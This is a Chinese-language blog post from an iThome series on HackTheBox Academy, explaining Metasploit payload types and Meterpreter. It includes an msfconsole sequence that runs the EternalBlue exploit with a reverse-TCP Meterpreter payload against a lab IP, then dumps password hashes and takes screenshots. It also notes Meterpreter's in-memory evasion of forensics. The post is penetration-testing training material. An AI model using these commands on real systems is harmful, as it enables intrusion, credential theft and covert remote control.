iT邦幫忙

2024 iThome 鐵人賽

DAY 11
0
Security

前端小廢物誤入 Hackthebox Module系列 第 11

Metasploit & Payload - 模塊知多少?

  • 分享至 

  • xImage
  •  

Payloads 在 Metasploit 中的作用

什麼是 Payload?

Metasploit 框架中,Payload 是一個模塊,用於幫助利用 (exploit) 模塊將攻擊者的 shell 返回。Payloadsexploit 一起發送,繞過漏洞服務的正常運行過程,然後在目標操作系統上運行,通常會返回一個反向連接 (reverse connection) 給攻擊者,從而建立初始控制權。


Payloads 的類型

Metasploit 框架中有三種不同類型的 Payload 模塊:SinglesStagersStages。這三種類型的 payload 互動方式各有不同,為滲透測試者提供靈活性。

  • Singles:一個獨立的 payload,包含了 exploit 和執行特定任務所需的全部 shellcode
  • Stagers:小而穩定的 payload,負責建立網絡連接。
  • Stages:這是更大且功能強大的 payload,被 Stager 載入後使用。

Single Payloads

Single Payloads 是獨立的,包含了所有需要的 shellcode。這些 payload 不需要依賴其他模塊來運行,但有時會因大小限制而無法使用。

舉個例子,這是其中一個 Single Payload

windows/shell_bind_tcp

Stager Payloads

Stager Payloads 負責設置網絡連接,並且設計為體積小、運行可靠。當 Stager 建立連接後,Stage Payload 會被載入並運行。

舉個例子,這是其中一個 Stager Payload

windows/shell/bind_tcp

Stager 的優點是它們相對小巧,可以應對內存限制的情況,並且可以利用 Stages 來實現更多功能。

Stage Payloads

Stage PayloadsStagers 的配套模塊,通常提供進階功能,例如 MeterpreterVNC Injection

Stages 沒有大小限制,能夠下載到目標機器並運行。

例如,在 staged payload 中,Stage0 是初始的 shellcode,負責與攻擊者建立反向連接 (reverse connection)。

一旦連接建立,Stage0 會從攻擊者機器中下載更大的 Stage1 來實現完整的攻擊。

範例

以下是一個範例,可以在 Metasploit 中查看和選擇 payload

首先,列出所有可用的 payload

msf6 > show payloads

搜索特定 payload,例如 meterpreterreverse_tcp

msf6 > grep meterpreter grep reverse_tcp show payloads

這將顯示與 Meterpreter 相關的反向 TCP 連接 payload

接著,設定 payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

設定攻擊目標和攻擊者的 IP 地址:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15

運行 exploit

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

如果攻擊成功,你將會看到類似於 Meterpreter session 1 opened 的提示,這表示你已經獲得了對目標的遠程控制。

Meterpreter Payloads

Meterpreter 是一個功能強大的 payload,通過動態連接,使用 DLL 注入來保持與目標的穩定連接。它完全在內存中運行,不會留下硬碟痕跡,因此很難被傳統的取證技術檢測到。

Meterperter 可以用來執行以下任務:

  • 取得密碼 hash
  • 擷取鍵盤輸入
  • 拍攝螢幕快照
  • 操控檔案系統

範例

meterpreter > screenshot
meterpreter > hashdump

這讓你可以在不被發現的情況下持續控制目標機器。

其他常見的 Payload

Metasploit 提供了很多不同的 payload,用於不同的操作系統和環境~

以下是一些常見的 payload

generic/shell_bind_tcp: 通用型 shell,通過 TCP 連接
windows/x64/shell/reverse_tcp: 反向 TCP 連接的 Windows shell
windows/x64/meterpreter/reverse_tcp:反向 TCP 連接的 Windows Meterpreter
android/meterpreter/reverse_tcp:反向 TCP 連接的 Android Meterpreter

總結

Single Payloads 是獨立的模塊,簡單且穩定。
StagersStages 組合使用時更靈活,允許在目標上進行更大的操作。
Meterpreter 提供了進階的滲透測試功能,能夠動態載入腳本並在遠程主機上執行多種任務。

今日心得

昨天沒睡好,今天頭痛到不行QQ
很難思考,但還是硬把文章產出了@@

參考資源

https://academy.hackthebox.com/


上一篇
Metasploit - 使用工具的心態與初探
下一篇
MSVenom - 生成和編碼 Payload
系列文
前端小廢物誤入 Hackthebox Module31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言